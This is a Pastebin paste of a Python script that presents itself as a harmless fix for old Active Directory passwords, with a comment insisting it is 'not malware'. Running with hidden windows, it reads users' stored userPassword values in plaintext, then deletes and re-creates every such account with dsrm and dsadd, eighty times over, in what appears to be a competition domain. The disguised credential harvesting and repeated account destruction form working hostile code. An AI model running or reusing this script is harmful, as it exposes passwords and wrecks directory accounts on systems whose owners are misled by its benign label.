Advertisement
Guest User

Untitled

a guest
Nov 28th, 2016
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.76 KB | None | 0 0
  1. #fixes old passwords in ad to use the new password standard
  2. # not malware...
  3. import subprocess
  4. import time
  5.  
  6. def get_oldpasses():
  7. pairs=[]
  8. try:
  9. cmd='dsquery * CN=Users,DC=team1,DC=toast,DC=it -limit 0 -filter userPassword=* -attr cn userPassword'
  10. si=subprocess.STARTUPINFO()
  11. si.dwFlags|=subprocess.STARTF_USESHOWWINDOW
  12. proc=subprocess.Popen(cmd.split(),stdout=subprocess.PIPE,startupinfo=si)
  13. out=proc.communicate()[0]
  14. lines=out.split('\r\n')
  15. skipped_first=False
  16. for line in lines:
  17. if not skipped_first:
  18. skipped_first=True
  19. continue
  20. try:
  21. line=line.strip().split()
  22. if len(line)>0:
  23. user=line[0]
  24. password_dec=line[1:]
  25. password=''
  26. for ii in password_dec:
  27. password+=chr(int(ii,16))
  28. pairs.append((user,password))
  29. except:
  30. raise
  31. except:
  32. raise
  33. return pairs
  34.  
  35. def remove_user(user):
  36. try:
  37. cmd='dsrm CN='+user+',CN=Users,DC=team1,DC=toast,DC=it -noprompt'
  38. print(cmd)
  39. si=subprocess.STARTUPINFO()
  40. si.dwFlags|=subprocess.STARTF_USESHOWWINDOW
  41. proc=subprocess.Popen(cmd.split(),startupinfo=si,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
  42. out=proc.communicate()[1].strip()
  43. if len(out)>0:
  44. print(out)
  45. except:
  46. pass
  47.  
  48. def new_user(user,password):
  49. try:
  50. cmd='dsadd user CN='+user+',CN=Users,DC=team1,DC=toast,DC=it -samid '+user+' -pwd '+password
  51. print(cmd)
  52. si=subprocess.STARTUPINFO()
  53. si.dwFlags|=subprocess.STARTF_USESHOWWINDOW
  54. proc=subprocess.Popen(cmd.split(),startupinfo=si,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
  55. out=proc.communicate()[1].strip()
  56. if len(out)>0:
  57. print(out)
  58. except:
  59. raise
  60.  
  61.  
  62. if __name__=='__main__':
  63. for jj in range(0,80):
  64. for ii in get_oldpasses():
  65. remove_user(ii[0])
  66. new_user(ii[0],ii[1])
  67. time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement